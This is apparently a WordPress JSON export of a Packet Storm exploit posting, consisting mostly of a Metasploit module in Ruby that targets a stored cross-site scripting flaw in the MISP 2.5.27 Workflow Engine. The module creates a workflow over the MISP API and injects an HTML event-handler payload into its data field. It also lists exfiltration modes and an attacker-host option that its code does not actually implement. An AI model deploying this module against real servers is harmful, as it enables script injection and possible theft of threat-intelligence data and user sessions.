{"id":49295,"date":"2026-04-24T16:47:59","date_gmt":"2026-04-24T16:47:59","guid":{"rendered":"http:\/\/localhost\/?p=49295"},"modified":"2026-04-24T16:47:59","modified_gmt":"2026-04-24T16:47:59","slug":"misp-2527-workflow-engine-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=49295","title":{"rendered":"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:45:25&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219772&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : MISP 2.5.27 Workflow Engine Stored XSS Metasploit Module                                                         |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/www.misp-project.org\/2025\/11\/27\/misp.2.5.27.released.html\/                                               |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This Metasploit auxiliary module targets a potential stored Cross-Site Scripting (XSS) vulnerability in the MISP Workflow Engine. \\n                     It is designed to interact with the MISP API, create workflows, and inject malicious payloads into workflow data fields.\\n    \\n    \\n    [+] POC        :  \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Auxiliary\\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Auxiliary::Report\\n      include Msf::Auxiliary::Scanner\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;MISP Workflow Engine Stored Cross-Site Scripting&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{&#8230;},\\n            &#8216;Author&#8217; =\\u003e [&#8216;indoushka&#8217;],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;win&#8217;],\\n            &#8216;Targets&#8217; =\\u003e [[&#8216;Automatic&#8217;, {}]],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-03-28&#8217;\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;]),\\n          OptString.new(&#8216;API_KEY&#8217;, [true, &#8216;API key&#8217;, &#8221;]),\\n          OptEnum.new(&#8216;PAYLOAD_MODE&#8217;, [true, &#8216;Mode&#8217;,\\n            &#8216;alert&#8217;, [&#8216;alert&#8217;,&#8217;alert_info&#8217;,&#8217;console&#8217;,&#8217;console_info&#8217;,&#8217;exfiltrate_users&#8217;,&#8217;exfiltrate_page&#8217;,&#8217;exfiltrate_events&#8217;]\\n          ]),\\n          OptString.new(&#8216;ATTACKER_HOST&#8217;, [false, &#8216;host:port&#8217;, &#8216;127.0.0.1:8000&#8217;]),\\n          OptInt.new(&#8216;EXFIL_LIMIT&#8217;, [true, &#8216;limit&#8217;, 20]),\\n          OptString.new(&#8216;CUSTOM_PAYLOAD&#8217;, [false, &#8216;custom&#8217;, &#8221;]),\\n          OptBool.new(&#8216;VERIFY_SSL&#8217;, [true, &#8216;SSL verify&#8217;, false])\\n        ])\\n      end\\n    \\n      def setup\\n        @base_url = normalize_uri(target_uri.to_s)\\n        @api_key = datastore[&#8216;API_KEY&#8217;]\\n        @mode = datastore[&#8216;PAYLOAD_MODE&#8217;]\\n        @attacker_host = datastore[&#8216;ATTACKER_HOST&#8217;].to_s\\n        @limit = datastore[&#8216;EXFIL_LIMIT&#8217;].to_i\\n        @custom_payload = datastore[&#8216;CUSTOM_PAYLOAD&#8217;].to_s\\n        @workflow_id = nil\\n        @trigger_id = nil\\n      end\\n    \\n      def run_host(ip)\\n        print_status(\\&#8221;Target: #{ip}:#{rport}\\&#8221;)\\n    \\n        return unless check_vulnerability\\n        return unless create_workflow\\n        return unless inject_payload\\n    \\n        verify_payload\\n        print_exploit_info\\n      end\\n    \\n      def check_vulnerability\\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_url, &#8216;servers\/getVersion&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e @api_key }\\n        })\\n    \\n        return false unless res \\u0026\\u0026 res.body\\n    \\n        begin\\n          json = JSON.parse(res.body)\\n          if json[&#8216;version&#8217;]\\n            version = json[&#8216;version&#8217;].to_s\\n            if version.start_with?(&#8216;2.5&#8217;)\\n              print_good(\\&#8221;Version: #{version} (likely vulnerable)\\&#8221;)\\n            end\\n          end\\n        rescue\\n        end\\n    \\n        res2 = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_url, &#8216;workflows\/index&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e @api_key }\\n        })\\n    \\n        return false unless res2\\n    \\n        if res2.code == 200\\n          print_good(\\&#8221;Workflow API accessible\\&#8221;)\\n          return true\\n        end\\n    \\n        false\\n      end\\n    \\n      def create_workflow\\n        name = \\&#8221;XSS_#{Rex::Text.rand_text_alpha(8)}\\&#8221;\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_url, &#8216;workflows\/add&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e { &#8216;Workflow&#8217; =\\u003e { &#8216;name&#8217; =\\u003e name } }.to_json,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e @api_key }\\n        })\\n    \\n        return false unless res \\u0026\\u0026 res.body\\n    \\n        json = JSON.parse(res.body) rescue nil\\n        return false unless json\\n    \\n        wf = json.dig(&#8216;saved&#8217;, &#8216;Workflow&#8217;) || json[&#8216;Workflow&#8217;]\\n        return false unless wf\\n    \\n        @workflow_id = wf[&#8216;id&#8217;].to_s\\n        @trigger_id = wf[&#8216;trigger_id&#8217;].to_s\\n    \\n        return false if @workflow_id.empty? || @trigger_id.empty?\\n    \\n        print_good(\\&#8221;Workflow: #{@workflow_id}\\&#8221;)\\n        true\\n      end\\n    \\n      def build_js_payload\\n        return @custom_payload unless @custom_payload.empty?\\n    \\n        case @mode\\n        when &#8216;alert&#8217;\\n          \\&#8221;alert(&#8216;MISP XSS&#8217;);\\&#8221;\\n        when &#8216;console&#8217;\\n          \\&#8221;console.log(&#8216;MISP XSS&#8217;);\\&#8221;\\n        else\\n          \\&#8221;alert(&#8216;XSS&#8217;);\\&#8221;\\n        end\\n      end\\n    \\n      def build_html_payload(js)\\n        \\&#8221;\\u003cimg src=x onerror=\\\\\\&#8221;#{js.gsub(&#8216;\\&#8221;&#8216;,&#8217;\\\\\\&#8221;&#8216;)}\\\\\\&#8221;\\u003e\\&#8221;\\n      end\\n    \\n      def inject_payload\\n        return false unless @workflow_id \\u0026\\u0026 @trigger_id\\n    \\n        js = build_js_payload\\n        html = build_html_payload(js)\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_url, \\&#8221;workflows\/edit\/#{@workflow_id}\\&#8221;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e {\\n            &#8216;Workflow&#8217; =\\u003e {\\n              &#8216;id&#8217; =\\u003e @workflow_id,\\n              &#8216;data&#8217; =\\u003e html\\n            }\\n          }.to_json,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e @api_key }\\n        })\\n    \\n        if res \\u0026\\u0026 res.code == 200\\n          print_good(\\&#8221;Payload injected\\&#8221;)\\n          return true\\n        end\\n    \\n        false\\n      end\\n    \\n      def verify_payload\\n        return unless @workflow_id\\n    \\n        res = send_request_cgi({\\n          &#8216;uri&#8217; =\\u003e normalize_uri(@base_url, \\&#8221;workflows\/view\/#{@workflow_id}\\&#8221;),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e @api_key }\\n        })\\n    \\n        return false unless res \\u0026\\u0026 res.body\\n        if res.body.include?(@workflow_id)\\n          print_good(\\&#8221;Workflow exists (not reliable XSS proof)\\&#8221;)\\n          return true\\n        end\\n    \\n        false\\n      end\\n    \\n      def print_exploit_info\\n        return unless @workflow_id\\n    \\n        url = normalize_uri(@base_url, \\&#8221;workflows\/view\/#{@workflow_id}\\&#8221;)\\n    \\n        print_good(\\&#8221;URL: #{url}\\&#8221;)\\n    \\n        report_note(\\n          host: (defined?(rhost) ? rhost : nil),\\n          port: (defined?(rport) ? rport : nil),\\n          type: &#8216;misp.xss&#8217;,\\n          data: { workflow_id: @workflow_id, url: url },\\n          update: :unique_data\\n        )\\n      end\\n    end\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219772&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219772\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:45:25&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-49295","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=49295\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:45:25&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=49295\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-24T16:47:59+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49295#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49295\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772\",\"datePublished\":\"2026-04-24T16:47:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49295\"},\"wordCount\":1104,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49295#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49295\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49295\",\"name\":\"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-24T16:47:59+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49295#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49295\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49295#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=49295","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:45:25&#8243;,&#8221;description&#8221;:&#8221;This Metasploit auxiliary module targets a potential stored cross site scripting vulnerability in the MISP Workflow Engine. It is designed to interact with the MISP...","og_url":"https:\/\/zero.redgem.net\/?p=49295","og_site_name":"zero redgem","article_published_time":"2026-04-24T16:47:59+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=49295#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=49295"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772","datePublished":"2026-04-24T16:47:59+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=49295"},"wordCount":1104,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=49295#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=49295","url":"https:\/\/zero.redgem.net\/?p=49295","name":"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-24T16:47:59+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=49295#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=49295"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=49295#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 MISP 2.5.27 Workflow Engine Cross Site Scripting_PACKETSTORM:219772"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49295","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=49295"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49295\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=49295"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=49295"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=49295"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}